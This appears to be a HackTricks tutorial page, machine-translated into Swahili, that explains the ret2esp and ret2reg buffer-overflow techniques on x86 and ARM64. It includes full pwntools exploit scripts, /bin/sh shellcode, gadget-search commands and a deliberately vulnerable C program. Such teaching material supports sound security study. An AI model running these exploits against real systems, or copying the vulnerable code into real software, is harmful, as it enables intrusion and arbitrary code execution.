Ret2esp / Ret2reg

Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks:

Ret2esp

Kwa sababu ESP (Stack Pointer) daima inaelekeza juu ya steki, mbinu hii inahusisha kubadilisha EIP (Instruction Pointer) na anwani ya maagizo ya jmp esp au call esp. Kwa kufanya hivi, shellcode inawekwa moja kwa moja baada ya EIP iliyobadilishwa. Wakati maagizo ya ret yanatekelezwa, ESP inaelekeza kwenye anwani inayofuata, mahali ambapo shellcode imewekwa kwa usahihi.

Ikiwa Address Space Layout Randomization (ASLR) haijashughulikiwa kwenye Windows au Linux, inawezekana kutumia maagizo ya jmp esp au call esp yaliyopatikana kwenye maktaba za pamoja. Walakini, na ASLR ikiwa haijashughulikiwa, inaweza kuhitajika kutazama ndani ya programu yenye kasoro yenyewe kwa maagizo haya (na unaweza kuhitaji kushinda PIE).

Zaidi ya hayo, kuweza kuweka shellcode baada ya uharibifu wa EIP, badala ya katikati ya steki, kuhakikisha kuwa maagizo ya push au pop yanayotekelezwa wakati wa operesheni ya kazi hayavurugi shellcode. Kuvuruga huku kunaweza kutokea ikiwa shellcode ingewekwa katikati ya steki ya kazi.

Ukosefu wa nafasi

Ikiwa unakosa nafasi ya kuandika baada ya kubadilisha RIP (labda tu baadhi ya baiti), andika shellcode ya awali ya jmp kama:

sub rsp, 0x30
jmp rsp

Na andika shellcode mapema kwenye stack.

Mfano

Unaweza kupata mfano wa mbinu hii katika https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp na shambulio la mwisho kama:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

jmp_rsp = next(elf.search(asm('jmp rsp')))

payload = b'A' * 120
payload += p64(jmp_rsp)
payload += asm('''
sub rsp, 10;
jmp rsp;
''')

pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()

Unaweza kuona mfano mwingine wa mbinu hii katika https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html. Kuna kipeperushi cha kujaza bila NX kuwezeshwa, hutumiwa kifaa cha kupunguza anwani ya $esp na kisha jmp esp; ili kuruka kwenye shellcode:

# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *

# Establish the target process
target = process('./b0verflow')
#gdb.attach(target, gdbscript = 'b *0x080485a0')

# The shellcode we will use
# I did not write this, it is from: http://shell-storm.org/shellcode/files/shellcode-827.php
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

# Establish our rop gadgets

# 0x08048504 : jmp esp
jmpEsp = p32(0x08048504)

# 0x080484fd : push ebp ; mov ebp, esp ; sub esp, 0x24 ; ret
pivot = p32(0x80484fd)

# Make the payload

payload = ""
payload += jmpEsp # Our jmp esp gadget
payload += shellcode # Our shellcode
payload += "1"*(0x20 - len(shellcode)) # Filler between end of shellcode and saved return address
payload += pivot # Our pivot gadget

# Send our payload
target.sendline(payload)

# Drop to an interactive shell
target.interactive()

Ret2reg

Vivyo hivyo, ikiwa tunajua kazi inarudisha anwani ambapo shellcode imewekwa, tunaweza kutumia maagizo ya call eax au jmp eax (inayojulikana kama mbinu ya ret2eax), kutoa njia nyingine ya kutekeleza shellcode yetu. Kama eax, daftari lingine lolote lenye anwani ya kuvutia linaweza kutumika (ret2reg).

Mfano

Unaweza kupata mifano hapa:

ARM64

Ret2sp

Katika ARM64 hakuna maagizo yanayoruhusu kuruka kwenye daftari la SP. Inaweza kuwa inawezekana kupata kifaa kinachohamisha sp kwa daftari kisha kuruka kwenye daftari hilo, lakini katika libc ya kali yangu sikuweza kupata kifaa kama hicho:

for i in `seq 1 30`; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
done

Niliyogundua zingine zitabadilisha thamani ya usajili ambapo sp ilikopiwa kabla ya kuruka kwenda kwake (kwa hivyo itakuwa haifai):

Ret2reg

Ikiwa usajili una anwani ya kuvutia ni rahisi kuruka kwenda kwake kwa kupata maagizo sahihi. Unaweza kutumia kitu kama:

ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";

Katika ARM64, ni x0 ambaye huchukua thamani ya kurudi kwa kazi, kwa hivyo inaweza kuwa kwamba x0 inahifadhi anwani ya buffer inayodhibitiwa na mtumiaji na shellcode ya kutekelezwa.

Mfano wa nambari:

// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack

#include <stdio.h>
#include <string.h>

void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("br x0");
return;
}

char* vulnerable_function() {
char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin);
return buffer;
}

int main(int argc, char **argv) {
char* b = vulnerable_function();
do_stuff(2)
return 0;
}

Kwa kuchunguza disassembly ya kazi, ni wazi kuona kwamba anwani ya buffer (inayoweza kudhuriwa na bof na kudhibitiwa na mtumiaji) imehifadhiwa katika x0 kabla ya kurudi kutoka kwa buffer overflow:

Pia ni rahisi kupata kifaa cha br x0 katika kazi ya do_stuff:

Tutatumia kifaa hicho kuruka kwenda kwake kwa sababu binary imekamilika BILA PIE. Kwa kutumia mfano, ni wazi kuona kwamba kielelezo cha buffer overflow ni 80, hivyo shambulio litakuwa:

from pwn import *

p = process('./ret2x0')
elf = context.binary = ELF('./ret2x0')

stack_offset = 72
shellcode = asm(shellcraft.sh())
br_x0 = p64(0x4006a0) # Addr of: br x0;
payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0

p.sendline(payload)
p.interactive()

Ikiwa badala ya fgets ingetumika kitu kama read, ingewezekana kudukua PIE pia kwa kuweka tu byte za mwisho 2 za anwani ya kurudi kurudi kwenye maagizo ya br x0; bila haja ya kujua anwani kamili. Na fgets haitafanyi kazi kwa sababu inaweka null (0x00) byte mwishoni.

Kinga

  • NX: Ikiwa steki haiwezi kutekelezwa hii haitasaidia kwani tunahitaji kuweka shellcode kwenye steki na kuruka kuitekeleza.

  • ASLR & PIE: Hizi zinaweza kufanya iwe ngumu kupata maagizo ya kuruka kwa esp au usajili mwingine wowote.

Marejeo

Jifunze kudukua AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks:

Last updated